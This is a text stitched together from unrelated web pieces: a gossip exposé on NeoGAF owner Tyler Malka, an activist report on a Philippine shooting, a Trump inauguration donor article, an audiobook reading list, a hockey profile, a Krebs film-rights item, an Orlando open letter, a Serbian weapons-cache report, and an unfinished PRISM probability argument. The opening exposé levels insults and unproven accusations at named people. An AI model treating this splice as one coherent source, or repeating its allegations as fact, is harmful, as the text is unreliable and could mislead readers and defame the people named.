In Evilore’s second response, he seems to be pretty irate about his story being turned into a controversy. Tyler excuses his behavior by saying everyone was drunk. Malka changes his story to say the girl had a boyfriend and got physical toward him first. After making the demand for a drink, Tyler says he grabbed her ass to show dominance that he wasn’t a “free drink generator” and admitted to escalating contact. He was angry at the thread for saying this was sexual assault and said some of the folks in the thread itself probably never went outside in their lives. Malka asserted that in the “real world” people don’t ask permission first before physically interacting with one another and that the lurkers in the thread shouldn’t live in a protective bubble.
Some folks were ready to move on from the topic at that point. Others still condemned it, and one (immediately banned after) user called it sexual assault.
In his final response, Tyler changes his story again to claim that the girl in question started the grabbing first. He yelled at the thread for their “feminist posturing” and denied being some sort of sexual predator. Anyone that dared to say they were offended by Malka’s behavior would be responded to with a nuking of their NeoGAF account. He went on to lament that he felt sad this happened because he was “honest” about his travel adventures, and cursed the idea of being politically correct and censoring himself in order to avoid outrage.
Tyler Malka tried his best to fit in with the NeoGAF user base, despite those setbacks. In an October 2012 thread about a Brazillian woman selling her virginity, he joked that the lady would fall in love with her and that he already better date experiences in that week alone. When someone showed a picture of Malka that was less becoming than one he offered, Tyler called it a personal attack. To top it all off, Evilore departed from the thread with a dash of racism.
In May 2013, a user by the name of Anti-Monitor went on The Bore website and gave more details about what went down with Malka’s Spain trip and the thread. Anti-Monitor lived in the area and recommended some places for Malka to go during his vacation. The only time he asked her out was when she had a scheduling conflict, which happened to be the same night of his butt grab incident. The thread mentioned earlier left a bad taste in Anti-Monitor’s mouth, and they chose to leave the Real-GAF IRC channel because of that. A few weeks go by, and the channel invited her back. EviLore wasn’t there, giving Anti-Monitor the chance to explain to everyone else what happened (essentially unloading on Malka being arrogant and unable to take criticism). EviLore caught wind of this and sent a PM telling her that he saw the IRC logs and he was offended. Apparently, Malka held that grudge for a really long time, as it resulted in Anti-Monitor being banned from NeoGAF in May 2013 for something inconspicuous and completely unrelated.
Later on, a user by the name of CrankyJay would be banned for warning people about a scam that Malka fell privy to during his trip to Istanbul. Evilore told Jay that he was “spreading misinformation” about what happened, which caused Cranky to respond with the full story. Since Tyler has the ability to delete any post he wants, CrankyJay’s account only has this edited post left over from his exchange.
Malka had visited the Halga Sofia and Blue Mosque, and he was making his way back to Taksim Square via tram when he met a fellow foreigner. This Swedish/Arab guy hit it off with Tyler and they decided to go to Galata bridge for dinner. Plans escalated into meeting up with some girls, and Swedish guy texted a friend of his to get a club suggestion. This friend led Malka and the Foreigner to a seedy area of the city. They ended up in a Gentleman’s club adorned with spiffy clothed men and a bunch of young ladies. Two of which sat down next to Malka and the Foreigner. Apparently, the women there get paid to make small talk with the gentlemen. The one with Malka invited him to dance, and they apparently hit it off. So much so, that apparently the girl broke some of the rules that evening. She warned Tyler that the manager was going to overcharge him because he was a foreigner, then she was dragged away by a bouncer. The manager came over and asserted the drinks for $100 each, and somehow Tyler and his foreign friend owed $5000. He was dragged out to a back alley with a lone ATM and had his credit card drained as much as humanly possible.
It’s doubtful if Tyler Malka took the GamerGate controversy seriously, as in August 2014 he publicly shared the private messages he received from concerned users who sent support@neogaf.com an email. He was highly sarcastic about the severity of the GamerGate situation and showed the names of the people that contacted him. EviLore was against Japan’s marketing strategies for anime, manga, and video games, which put him at odds with those aspects of GamerGate discussions when they happened.
For those curious, if Malka’s NeoGAF is a bastion of free speech? It is. For his friends. People that EviLore liked had ban immunity. In the case of Count Dookkake (Josh Emanuel) he was free to post whatever he wanted on the site because he’s Malka’s best friend. Emanuel first showed up on NeoGAF in 2007 a few times to rally the site in helping get his playboy sister enough votes to win a contest. Tyler and Josh hit it off in 2011 after Malka had moved to the area. Around that time, Fantastic Fest was going to be happening. Josh was able to use that opportunity to get to know EviLore better. A few months later he was more than happy to tell everyone how much he and Tyler were buddies. They’ve apparently attended quite a few conventions together. To Josh the number of times he was banned is trivial, and he even fondly remembers being banned while sitting on Evilore’s couch. Malka would end up doing set photography for Josh’s M is for Mario film project, and in return, Josh was free to openly advertise it (normally against ToS) on NeoGAF.
Josh and Malka also had their run-ins with Devin Faraci, apparently.
When asked about what Evilore has in store for his future, he had this to say.
Continue running my lovely website for the sake of it, keep a killer pad, drive a fast car, travel the world and cross off a new bucket list of adventures every year, hang with interesting friends and date extraordinarily crazy women, train in combat sports and firearms, engage in various academic pursuits, write, work on photography, collaborate with creatives, invest, contribute philanthropically, help the people I care about…and party hard, boys and girls. If you want to avoid getting on EviLore’s ban side: “You’re not being oppressed.”
So that’s it. A drug addict, a pedophile defender, a Samuel L. Jackson wannabe, a segregationist, and a devout Hillary Clinton acolyte work as NeoGAF moderators. Under the guidance and wisdom of an immature elf-man who never fully grew up from his lurking days, slowly driving his empire into the ground. But there was more to SirPainsalot’s words than what I said at the beginning of this section. He had the vision to make a better NeoGAF.
That’d be the last word. But there’s one more thing I gotta talk about…
Share this: Twitter
FacebookCarlton has a two-for-one offer |
shooting hungry farmers! – ILPS-Phils
Combined forces of the North Cotabato police and soldiers from the Armed Forces of the Philippines (AFP) opened fire on unarmed farmers and left one dead.
The farmers were demanding food aid and government support amid the widespread drought and hunger afflicting the country.
The farmers are on the third day of their protest barricade at the local National Food Authority to demand the release of 15,000 sacks of rice to alleviate hunger arising from massive crop failures.
The protest in Kidapawan City, North Cotabato is led by a local chapter of the Kilusang Magbubukid ng Pilipinas (Peasant Movement of the Philippines), an affiliate of the Philippines chapter of the International League of Peoples’ Struggle (ILPS-Phils).
The international activist group vows to step up global condemnation of the Aquino government with this latest killing in the Philippines and press the US government to stop its military aid and training, equipping and operations with AFP troops.
###Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Jan. 19, 2017, 3:25 PM GMT / Updated Jan. 20, 2017, 12:54 PM GMT By Phil McCausland
The U.S. Capitol is seen during a rehearsal for the inauguration ceremony of U.S. President-elect Donald Trump in Washington, D.C., on Jan.15, 2017. Carlos Barria / Reuters
How much is lunch with members of Donald Trump's cabinet and House and Senate leadership worth? According to the Presidential Inaugural Committee, a cool $1 million.
In addition to four tickets to what's billed as an exclusive "leadership luncheon" for anyone who can part with that kind of cash in support of Trump's inaugural festivities, those donors will also enjoy the perks available to other levels of sponsorship, according to a document detailing the "58th Presidential Inaugural Committee Underwriter Benefits." Those perks include a luncheon with "the ladies of the first families," an "intimate dinner" with Vice President-elect Mike Pence and his wife, Karen, and a "candlelight dinner" with "special appearances" by Trump and incoming First Lady Melania Trump as well as the Pences.
The cheapest benefit package starts at $25,000, and comes with a pair of tickets to the welcome reception, the inaugural concert, the parade, and the inaugural black-tie ball attended by the president and vice president-elect and their spouses.
NBC News confirmed the authenticity of the document, which was first published by the Center for Public Integrity, with the inaugural committee. Committee officials said that the details of the package are subject to change, but did not respond to numerous requests in recent days as to what, if any, changes might occur.
President-elect Donald Trump heads back into the elevator after a meeting at Trump Tower, Jan. 16, 2017 in New York, N.Y. Drew Angerer / Getty Images
It is not unusual for incoming presidents to raise funds for the inaugural festivities. Though President Barack Obama’s first inauguration barred corporate donations and individual donations of more than $50,000, his second inauguration allowed unlimited contributions from individuals and corporations. The 2013 ceremony asked for as high as $250,000 from individuals and $1 million from corporations.
Those gifts furnished donors with tickets to the inaugural ball, the parade, a children’s concert, a candlelight celebration for VIPs, and the potential to meet with the president’s financial team.
Experts who reviewed Trump's underwriter benefits said that the high-dollar requests and the specific amount of access those donations would provide are unusual.
"They certainly were not explicitly naming the events and who would be at them," said Dan Mahaffee, senior vice president of the Center for the Study of the Presidency and Congress, about past inaugurations.
"It drives up the value when you know the person you’ll have access to," he added.
Richard Painter, George W. Bush's chief ethics lawyer, agreed. He said the contents of this menu of items are rather bold.
President-elect Donald Trump is seen speaking to the press on Friday. REX/Shutterstock / Shutterstock
"They used to be less in your face about it because people were worried about bribery charges," Painter said, though he noted the Trump team has changed this vastly.
The price tags for these types of events, he said, used to have a lower threshold.
"The quid pro quo of access for money is much more blatant here," he said.
According to Painter, corporations would be the most likely buyers of these packages.
"It’s money, money, money with them," he said about Trump and his incoming administration. "Be a big donor and you’ll get special access to the president and we’ll be in your face about it."
The underwriter benefit events began Tuesday, and continue through Saturday. The contributions to Trump’s inauguration are not tax deductible and the Federal Election Commission requires that the committee report the name, address and contribution amounts from donors who gave more than $200 90 days after the ceremony. Trump's official inauguration committee put no limits of financial donations and is accepting donations from corporations, as well as individuals.
Critics have noted that the pricey sponsorship levels contradict Trump’s promise to “drain the swamp,” as it only provides access to the very wealthy. Nevertheless, the inaugural committee’s messaging has highlighted that the inauguration is for the everyday American, and registered federal lobbyists were banned from contributing to the PIC.
“Our movement has always been about you, the American people,” Trump said in a Jan. 14 video released by the inauguration committee’s official Twitter account. “Nothing more important to me.”
The PIC notes the donations go to defray the cost of the entire ceremony.
“The Presidential Inaugural Committee is a 501(c)4 organization that is non-political, offering an opportunity for every American to participate in the democratic process of our country,” Committee Communications Director Boris Epshteyn said in a statement. “The Inaugural events are, to a large extent, privately funded so as to not use taxpayer dollars. For the 58th Presidential Inaugural, any and all funds raised above amounts needed to fund the Inaugural events will be donated to charitable organizations.”
According to the Associated Press, Trump's inaugural committee has raised a "record $90 million-plus in private donations," more than any other president in history, though a Washington Post report notes that no matter the president, taxpayers always foot part of the inaugural bill due to security, transportation, clean up costs, and more. According the Post, Obama raised $53 million and $44 million in private dollars for his first and second inaugurations, respectively, while George W. Bush raised $40 million for his 2001 ceremony and $42 million for 2005. Bill Clinton raised $33 million for his 1993 swearing-in, and $30 million for his second ceremony in 1997.
David Taintor
Despite Trump's record inaugural haul, Tom Barrack, the committee chairman, has said the event will be purposefully more subdued than in year's past.
"So what we’ve done instead of trying to surround him with what people consider A-listers is we are going to surround him with the soft sensuality of the place,” Barrack told reporters at Trump Tower last week, responding to a question about the number of performers.
“It’s a much more poetic cadence than having a circus-like celebration that’s a coronation,” he added.
Ali Pardo, the press secretary for Trump's inauguration, did not respond to multiple requests for comment regarding details surrounding the underwriter events.
Questions of pay-for-play have swirled around Trump and his team since the election. Most recently, a nonprofit named Opening Day that boasted Eric Trump and Don Trump, Jr., Trump's adult sons, as its directors offered access to them via a hunting trip, and said it would provide a photo-op with the president-elect for contributions of $1,000,000.
"The Opening Day event and details that have been reported are merely initial concepts that have not been approved or pursued by the Trump family," said Trump Press Secretary Hope Hicks said in a statement at the time.
A few days prior, Trump's daughter, Ivanka Trump, had found herself caught in the middle of a similar controversy when her brother Eric attempted to auction off a coffee meeting with her to benefit his own foundation. Bidding reached as high as $70,000, but after the New York Times wrote about it, the auction was cancelled.
Meanwhile, legal and ethics experts remain concerned about the president-elect's potential conflicts of interest days before he takes the oath of office. Though Trump gave a press conference — his first in months — last week, those experts' fears were not assuaged by the plan he outlined to avoid conflicts of interest or prevent himself from running afoul of the Emoluments Clause of the U.S. Constitution.I love to learn but I simply don’t have enough time to sit and read all the classic ebooks that I’m always adding to my reading list. That’s why I turn to audiobooks, which I can easily listen to when I’m on the go using my iPhone.
For most of my life I have tried to complete a book a week and failed. Then I discovered how easy it is to find and listen to audiobooks on my iPhone. This led me to set a more realistic goal of listening to an audiobook per week, which I was able to consistently achieve.
If you want to read a book a week, I recommend setting aside an hour each day for audiobook learning. This may sound like a lot, but just think of all the time you probably waste each day (for example, the average American wastes 4 hours a day watching TV).
Listening to audiobooks is fun and easy. You don’t even need to be sitting down for long periods of time (which is very bad for your health) to enjoy learning with audiobooks, which most people can easily do while they’re out walking, driving and getting exercise outdoors.
Why Listen To Classic Books?
While I listen at least one new audiobook each month with my Audible subscription, most classic ebooks are a little older so they are available for free in the public domain.
I’m a huge believer in classical education and the reason I recommend listening to classic books is because they are portals into the minds of history’s most influential and inspiring geniuses, philosophers and truth seekers. Who wouldn’t want to know how people like Einstein, Tesla and Da Vinci thought?
If you’re also seeking your own search for truth, getting a classical education by regularly reading classic books is the fastest way I have discovered for accelerate your progress along your learning path.
While reading on the web and listening to podcasts are great ways to learn something new, if you want to learn something deeply then you need to read or listen to a complete book. The problem with only learning on the web and consuming information in quick bite-sized chunks on social networks is you often end up with a fragmented understanding of things.
The structure of books are designed to give you a much more complete understanding and many classic books are the result of a lifetime of learning, research and experimentation by their authors.
So, if you’re ready to take my classic audiobook challenge, set aside an hour a day and you’ll be surprised at how much you want learn in a month without even having to sit down!
I have put together this massive collection of some of my recommendations for classic audiobooks. They are all available in the public domain so you can listen to them in different audio formats and by using the YouTube app on your iPhone or Android.
You can also download them to MP3 format using a tool like ClipConverter and use an audiobook format converter if you want to automatically bookmark your last spot.
Western Philosophy:
The classics of Western philosophy from ancient Greece, the Middles Ages, the Enlightenment and beyond.
1. The Republic (Plato)
2. Meditations (Marcus Aurelius)
3. On Liberty (John Stuart Mill)
4. Common Sense (Thomas Paine)
5. The Age of Reason (Thomas Paine)
6. Anthem (Ayn Rand)
7. The Communist Manifesto (Karl Marx)
8. The Nicomachean Ethics (Aristotle)
9. Beyond Good and Evil (Friedrich Nietzsche)
10. Thus Spake Zarathustra (Friedrich Nietzsche)
11. The Prince (Niccolo Machiavelli)
12. The Wealth of Nations (Adam Smith)
13. The Odyssey (Homer)
14. The Illiad (Homer)
15. The Origin of Species (Charles Darwin)
16. The Way To Wealth (Benjamin Franklin)
17. Character Building (Booker T. Washington)
18. On the Nature of the Gods (Cicero)
19. Of Peace of Mind (Seneca)
Eastern Philosophy:
A good counterbalance to Western philosophy with greater focus on the practical knowledge of the mind and self-liberation.
1. The Bhagavad Gita
2. Freedom From The Known (Krishnamurti)
3. Sadhana: The Realization of Life (Sadhana)
4. Reincarnation (Swami Abhedananda)
5. The Kama Sutra (Vatsyayana)
6. The Way of the Warrior (Bushido)
7. The Buddic Consciousness (C. W. Leadbeater)
8. The Tibetan Book of the Dead
9. The Mahabharata (Vyasa)
10. The Tao of Pooh
11. The Tao Te Ching (Lao Tzu)
12. The Dhammapada (The Buddha)
13. The Art of War (Sun Tze)
14. The Sayings of Confucius
15. The Path of Light (Shantideva)
16. The Upanishads
17. The Yoga Sutras (Patanjali)
18. The Analects of Confucius (Confucius)
19. On the Taboo Against Knowing Who You Are (Alan Watts)
Science:
Develop your understanding of the nature of physics, the Universe and the construction of reality itself.
1. A Brief History of Time (Stephen Hawking)
2. The Theory of Relativity (Albert Einstein)
3. The Pioneers of Science (Sir Oliver Lodge)
4. Physics (Aristotle)
History:
Learning history liberates you. Those who dismiss and forget history are condemned to repeat it.
1. Tragedy and Hope: A History of the World In Our Time (Caroll Quigley)
2. History Of Egypt, Chaldea, Syria, Babylonia, and Assyria, Vol. 1 (Gaston Maspero)
3. Confessions of an Economic Hit Man (John Perkins)
4. The Story of Atlantis and Lemuria (William Scott-Elliot)
5. The Decline and Fall of the Roman Empire (Edward Gibbon)
6. A History of Western Philosophy (Bertrand Russel)
8. A History of the United States (Charles A. Beard and Mary R. Beard)
The Torah, Bible and Koran:
The books of the three Abrahamic religions and their different translations of God, morality and truth.
1. Genesis
2. The Book of Job
3. The Book of Daniel
4. The Book of Ezekeil
5. Proverbs
6. Psalms
7. The Bible
8. The Torah
9. The Koran
American Literature:
The counter-cultural icons and literary greats who defined American ideals of freedom and liberty.
1. On The Road (Jack Kerouac)
2. Dharma Bums (Jack Kerouac)
3. Nature (Ralph Waldo Emerson)
4. Walden (Henry David Thoreau)
5. Civil Disobedience (Henry David Thoreau)
6. The Last of the Mohicans (James Fenimore Cooper)
7. The Wonderful Wizard of Oz (L. Frank Baum)
8. The Call of the Wild (Jack London)
9. Leaves of Grass (Walt Whitman)
10. This Side of Paradise (F. Scott Fitzgerald)
11. The Great Gatsby (F. Scott Fitzgerald)
European Literature:
The literary classics that have defined European cultural ideals and modern ideas of freedom and democracy.
1. 1984 (George Orwell)
2. Brave New World (Aldous Huxley)
3. War and Peace (Leo Tolstoy)
4. Faust (Goethe)
5. The Time Machine (H. G. Wells)
6. The Lost World (Sir Arthur Conan Doyle)
7. A Midsummer Night’s Dream (William Shakespeare)
8. The Count of Monte Cristo (Alexandre Dumas)
9. Aesop’s Fables (Aesop)
10. Notes From The Underground (Feydor Dochevsky)
11. The Soul of Man (Oscar Wilde)
12. What I Believe (Leo Tolstoy)
13. Don Quixote (Miguel de Cervantes)
14. Candide (Voltaire)
15. Robinson Crusoe (Daniel Defoe)
16. The Jungle Book (Rudyard Kipling)
17. Gulliver’s Travels (Jonathan Swift)
18. Around The World In 80 Days (Jules Verne)
19. Heart of Darkness (Joseph Conrad)
20. Moby Dick (Herman Melville)
21. Pride and Prejudice (Jane Austen)
22. The Magi (William Butler Yeats)
23. Alice’s Adventures In Wonderland (Lewis Carroll)
24. The Hitchhiker’s Guide To The Galaxy (Douglas Adams)
25. Grimm’s Fairy Tales (Jacob Grimm and Wilhelm Grimm)
26. The War of the Worlds (H.G. Wells)
27. The Doors of Perception (Aldous Huxley)
28. Siddhartha (Hermann Hesse)
29. Alice In Wonderland (Lewis Carroll)
Biographies:
Get inspired by exploring the lives, routines and thoughts of influential historical figures.
1. The Autobiography of Benjamin Franklin
2. The Autobiography of a Yogi (Paramahansa Yogananda)
3. The Story of My Life (Helen Keller)
4. The Autobiography of Malcolm X (Malcolm X)
5. Autobiography of Mark Twain (Mark Twain)
6. Long Walk To Freedom (Nelson Mandela)
7. Henry Ford’s Own Story (Rose Wilder Lane)
8. Geronimo’s Story of His Life
9. My Inventions (Nikola Tesla)
Education:
What does it mean to be educated? Different methods for learning how to learn.
1. Dr. Montessori’s Own Handbook
2. The Montessori Method
3. Democracy and Education (John Dewey)
4. How To Listen To Music (Henry Edward Krehbiel)
5. Memory: How to Develop, Train and Use It (William Walker Atkinson)
Politics:
Ground-breaking books on politics that force you to think differently.
1. The Theory of Social Revolutions (Brooks Adams)
2. Public Opinion (Walter Lippmann)
3. The Social Contract (Jean-Jacques Rousseau)
4. God and the State (Mikhail Bakunin)
5. The Unsolved Riddle of Social Justice (Stephen Leacock)
6. Second Treatise of Government (John Locke)
Psychology:
Roadmaps for understanding your psychology, behaviour and ultimate human potential.
1. Dream Psychology (Sigmund Freud)
2. Psychopathology of Everyday Life (Sigmund Freud)
3. Approaching The Unconscious (Carl Jung)
4. Studies in the Psychology of Sex (Havelock Ellis)
5. Essay on the Creative Imagination (Theodule Ribot)
6. The Creative Mind (Ernest Shurtieff Holmes)
Personal Development:
Classic personal development books that are read by millions.
1. Think and Grow Rich (Napoleon Hill)
2. How To Win Friends and Influence People (Dale Carnegie)
3. The New Psycho-Cybernetics (Maxwell Maltz)
4. As A Man Thinketh (James Allen)
5. The Power of Concentration (Theron Q. Dumont)
6. A Practical Guide to Self-Hypnosis (Melvin Powers)
7. The Science of Getting Rich (Wallace D. Wattles)
8. How To Analyze People On Sight (Elsie Lincoln Benedict and Ralph Paine Benedict)
9. The Power of Your Subconscious Mind (Joseph Murphy)
10. The Science of Being Great (Wallace D. Wattles)
11. The Automatic Millionaire (David Bach)
12. In Tune With the Infinite (Ralph Waldo Trine)
13. Self Reliance (Ralph Waldo Emerson)
14. Nature (Ralph Waldo Emerson)
I hope you find these audiobooks as enlighten as I did! If you enjoyed any of these audiobooks, please share them widely so more people can listen and learn.Long before the Toronto Maple Leafs took a chance on Kasimir Kaskisuo, the once-overlooked Finnish goaltender made a bet on himself.
Coming up through the Jokerit system in Helsinki, he managed to spend three seasons on the under-20 team. But each year he was the backup, playing behind Frans Tuohimaa (drafted 182nd by Edmonton in 2011), Joonas Korpisalo (drafted 62nd overall by Columbus) and Kevin Lankinen (currently playing for HIFK Helsinki).
“I felt like I was stuck a little bit there,” said Kaskisuo.
So in 2013 he started down a road not too often travelled by Finnish players, especially goaltenders, and moved to Minnesota to play in the North American Hockey League.
It was something of a leap of faith. At that point Kaskisuo was just turning 20 years old and wasn’t yet completely sure if he had what it took to pursue a career as a professional hockey player.
Midway through that season with the NAHL’s Minnesota Wilderness, with whom he posted a.944 save percentage in 32 appearances, he started to believe. Kaskisuo wound up committing to the University of Minnesota Duluth, where he caught the attention of the Maple Leafs, which led to him being tabbed for his first American Hockey League start on Friday night.
That’s quite a climb.
Last weekend he was leading the Bulldogs into the NCAA tournament. Two days after a 3-2 loss to Boston College, he signed a two-year entry-level contract with Toronto and joined the Marlies for the remainder of this season on an amateur tryout.
“I feel like this is where I need to be … to take the next step for my career,” said Kaskisuo.
He immediately becomes a prospect of great interest in the Leafs organization. There is a dearth of goaltenders in the system and management was aggressive in its pursuit of the 22-year-old.
Kaskisuo will likely make a couple appearances for the Marlies down the stretch, starting with Friday’s game in Syracuse, but coach Sheldon Keefe is cautious with his expectations.
“He’s a big guy, covers a lot of net, seems to move well,” said Keefe. “We’ll get him comfortable; there’s a lot of new stuff going on that’s going to take him a little bit of time to adjust to it.”
Should Kaskisuo manage to get a win for the Marlies, the team would match an AHL record by having eight different goaltenders register a victory this season.
That tells the story of an unusual year.
It also speaks to the opportunity that exists within an organization where Antoine Bibeau and Jonathan Bernier are the only other goalies signed through next season. Garret Sparks, a restricted free agent this summer, is expected to be back as well.
Even though there is a calculated risk made with every undrafted NCAA free agent, it’s telling that the Leafs gave Kaskisuo the maximum rookie salary of $925,000 – including a $92,500 signing bonus each year – plus up to $850,000 in performance bonuses.
They obviously think highly of the six-foot-three Finn who started virtually every game in his two seasons at UMD.
A number of people inside the organization had a chance to see him with prospects Tony Cameranesi and Dominic Toninato also at the school, and Kaskisuo said the Leafs showed the most interest among the several NHL teams that spoke with his advisor/agent.
“It was an easy decision to come here (because of) what they offered and how bad they wanted me here and how often they were calling,” he said.
It was a nice feeling after previously going undrafted and having to move across the ocean to find playing time – something that is starting to become more common for Finns to do.
He grew up idolizing Kari Lehtonen, another Jokerit-trained goalie, and is now one step closer to living out his childhood dream. For as long as he can remember, he wanted to play net.
“I’ve seen videos when I started skating as a two-year-old and we were playing a game,” said Kaskisuo. “I was stuck between (the posts), I didn’t want to leave the front of the net.
“It comes from all of the way back then.”
No wonder he made such a seamless jump to North America and took his game to new heights.
Even though the sleepy town he first moved to in Minnesota didn’t resemble the Helsinki suburb where he was raised, Kaskisuo didn’t experience any homesickness.
“Not at all actually,” he said. “My mom probably doesn’t want to hear that, but it was just fun and exciting. There was a lot of hockey and being busy with that. Of course when hockey goes well you really don’t care where you are. Little small-town Cloquet in north Minnesota, so not a lot to do there, but everything was perfect.
“When hockey was going well it was exciting to be in a new place.”
And so he arrives in Toronto, ready to begin anew again.Sony Pictures has purchased the movie rights to the story of the reporter who brought the Target credit card hack to light. The Hollywood Reporter writes that the company bought the rights to the New York Times story "Reporting From the Web’s Underbelly," a profile of security reporter Brian Krebs.
Krebs broke the news of the hack back in December, when approximately 40 million credit card numbers were stolen, reportedly as a result of a malware-carrying phishing e-mail. The Times wrote about Krebs' coverage of the hack in February.
As the Times article says, Krebs is deeply embedded in the cyber security community, with friends including Russian cybercriminals who "leak him documents about their rivals" and enemies who have swatted his house and "sent fecal matter… to his doorstep."
As Hollywood leaves behind the board game movie trend, it appears the industry is taking an interest in people's relationships with technology, with mixed results: Her won an Academy Award, but The Fifth Estate failed commercially and received mixed reviews.
Krebs himself posted about the story option on his own site, where he states that the first he heard of the potential deal was when the author of his Times profile forwarded him a message from a Hollywood producer. The producer was interested in Krebs' "life rights," but Krebs was "was so overwhelmed and distracted with travel… that he neglected to follow up on it."
It appears that Sony Pictures moved ahead to get the rights to the article without Krebs' involvement or direct permission. Krebs writes, "I still have yet to work out the details with Sony… I would be delighted if I could influence the selection of the leading man." He humbly suggests Edward Norton.I woke Sunday morning to my phone chirping that a new text message had arrived. It was from my radio show co-host, Steph Taylor inviting me to a vigil to be held in our local town… a vigil for Orlando.
I did not know anything had happened in Orlando, but as with all other mass shootings, I usually got the first news from such a text as Steph’s.
A popular LGBTQ club called the Pulse had been invaded by an assault rifle wielding gunman and over fifty LGBTQ people were dead, and an equal amount severely wounded.
For whatever reason, my first exposure to commentary by those seeking to lead our nation was that of Donald Trump. He was opportunistic in his commentary. The first tweets I saw were: “Appreciate the congrats for being right on radical Islamic terrorism.”
“Reporting that Orlando killer shouted “Allah hu Akbar!” as he slaughtered clubgoers.”
And “What has happened in Orlando is just the beginning. Our leadership is weak and ineffective. I called it and asked for the ban.”
While mentioning the “victims and their families” once, Mr. Trump never once commented on the hate crime that had been enacted on the LGBTQ community as a whole, or the feelings, impact and terror the days events had on us.
He did have a passing reference about “2nd man arrested in LA with rifles near Gay parade.” This, Mr. Trump reported as passionless information. The man, as it turns out, was not a second to the Orlando shooting, but completely unrelated. He also did not fit Trump’s Muslim ban narrative — the man in Los Angeles was from Indiana.
As Mr. Trump was trying to pad his islamophobic opportunism, I was engaging with one of his supporters on Twitter. The man’s tweet read “Well there was a bad shooting in the gay community. Sorry for your lose.” It was followed by a meme that read: “Nice!”
I contrast Mr. Trumps response with that of his rival, Mrs. Clinton. She wrote a measured commentary and included this specific message: “This was also an act of hate. The gunman attacked an LGBT nightclub during Pride Month. To the LGBT community: please know that you have millions of allies across our country. I am one of them. We will keep fighting for your right to live freely, openly and without fear. Hate has absolutely no place in America.”
Even former rival Ted Cruz, no ally to the LGBTQ community said, “Now is the opportunity to speak out against an ideology that calls for the murder of gays and lesbians. ISIS and the theocracy in Iran (supported with American taxpayer dollars) regularly murder homosexuals, throwing them from buildings and burying them under rocks. This is wrong, it is evil, and we must all stand against it. Every human being has a right to live according to his or her faith and conscience, and nobody has a right to murder someone who doesn’t share their faith or sexual orientation.”
Dear Mr. Trump, I am a gay dad. I am the proud father of two boys, now both 13 years old, who I got as babies after they were given birth by drug-addicted parents. Our family is hurting today as an assault rifle-bearing thug targeted part of our LGBTQ American community. He entered a safe space and took lives of many people less than a decade older than my kids. As we do in times of national tragedy, we turn to our leadership’s words for inspiration. We did collectively to Roosevelt in World War II, Kennedy with the Bay of Pigs, and to George W. Bush at 9/11. Whether we agreed ideologically with these leaders or not, we listened and embraced the inspiration they gave out. It was not necessarily because they themselves were brilliant, it was because we needed to find a sense of solidarity within ourselves. So too now, we hear that call in President Obama’s commentary on the events in Orlando. He said to us, “This is an especially heartbreaking day for all our friends — our fellow Americans — who are lesbian, gay, bisexual or transgender. The shooter targeted a nightclub where people came together to be with friends, to dance and to sing, and to live. The place where they were attacked is more than a nightclub — it is a place of solidarity and empowerment where people have come together to raise awareness, to speak their minds, and to advocate for their civil rights. So this is a sobering reminder that attacks on any American — regardless of race, ethnicity, religion or sexual orientation — is an attack on all of us and on the fundamental values of equality and dignity that define us as a country.” President Obama is a leader. You are not. For whatever complexities this act of violence entails, at the core is a hate crime. The shooter’s father alleges that it was motivated by the shooter witnessing a kiss between two men in front of his child. As one who swears allegiance to a religion that throws suspected gay men from the tops of buildings, it is not difficult to see how such an event might throw him into an extreme and inordinate reaction. Most on the presidential stage today seem to understand that fact. Except for you. In your approximately 100-some words of tweets, you never once called out the hate crime terror enacted against the LGBTQ community. Mentioning the pain and shock millions of us are experiencing today seemed… inconvenient for you. It is as if such a mention might dilute your attempt to justify your own extreme ideas on Muslims in America. So, you danced on your drum beat of that mantra— throw the foreigners out. In doing so, you are dancing on the new graves of our LGBTQ dead. Stop it. As you “danced”, you jabbed at President Obama, “Is President Obama going to finally mention the words radical Islamic terrorism? If he doesn’t he should immediately resign in disgrace!” Islamic terrorism has not been proven. Homophobia has. The shooter did not target Disney World. He targeted a “safe haven” for LGBTQ people. He was not making a point about American values, he was trying to terrorize those of us who are gay, lesbian, bisexual, transgender and more to retreat from public view. The fact that your commentary does not even allude to this fact means that you are perfectly willing for him to accomplish that goal. Silence from a person in power says as much as their commentary. Ronald Reagan still wears the taint of silence about AIDS for several years after the time he should have appropriately discussed it. So, it appears will be the case with you and another disease’s name that cannot be uttered: Homophobia. That means for me, and my family, that should you become elected as the next American President…. You won’t be MY President. You won’t be my family’s President. You won’t be my community’s President. If anyone should resign in disgrace, Mr. Trump, it should be the person unwilling to represent all Americans when we are attacked. That person is, singularly, you. It’s time to delete your account.
Photo: Flickr/Gage SkidmoreSerbian police on Saturday evacuated Prime Minister Aleksandar Vucic to a "safe location" after discovering a weapons cache near the premier's family house on the outskirts of Belgrade.
The weapons, which included a rocket-propelled grenade launcher, hand grenades and sniper-rifle ammunition, were discovered in bushes next to the location where Vucic's motorcade slows down to enter or exit his residence.
"The prime minister is now safe, as well as his family … it is worrying that weapons were in the place where his motorcade has to slow down to almost 10 kilometers (six miles) per hour," said Serbian Interior Minister Nebojsa Stefanovic.
The interior minister said the location was "ideal" for an assassination attempt against the prime minister. Police have yet to make any arrests in connection to the weapons.
"The key to the safety (of the prime minister) will be to do intelligence work so we can find out … who has such intentions and to do everything we can to prevent that," Stefanovic added.
Hundreds of thousands of weapons remain in private hands following the Yugoslav war of the 1990s. Many of the weapons ended up in the hands of criminal gangs.
Prime Minister Zoran Djindjic, Serbia's first pro-Western premier after the ouster of Slobodan Milosevic three years before, was assassinated in 2003, prompting an increase in security around the country's heads of government. The former ultranationalist Vucic was Djindjic's political opponent at the time.
ls/jm (Reuters, AP)Recent revelations about PRISM, the NSA’s massive program of surveillance of civilian communications have caused quite a stir. And rightfully so, as it appears that the agency has been granted warrantless direct access to just about any form of digital communication engaged in by American citizens, and that their access to such data has been growing significantly over the past few years.
Some may argue that there is a necessary trade-off between civil liberties and public safety, and that others should just quit their whining. Lets take a look at this proposition (not the whining part). Specifically, let’s ask: how much benefit, in terms of thwarted would-be attacks, does this level of surveillance confer?
Lets start by recognizing that terrorism is extremely rare. So the probability that an individual under surveillance (and now everyone is under surveillance) is also a terrorist is also extremely low. Lets also assume that the neck-beards at the NSA are fairly clever, if exceptionally creepy. We assume that they have devised an algorithm that can detect ‘terrorist communications’ (as opposed to, for instance, pizza orders) with 99% accuracy.
P(+ | bad guy) = 0.99
A job well done, and Murica lives to fight another day. Well, not quite. What we really want to know is: what is the probability that they’ve found a bad guy, given that they’ve gotten a hit on their screen? Or,
P(bad guy | +) =??
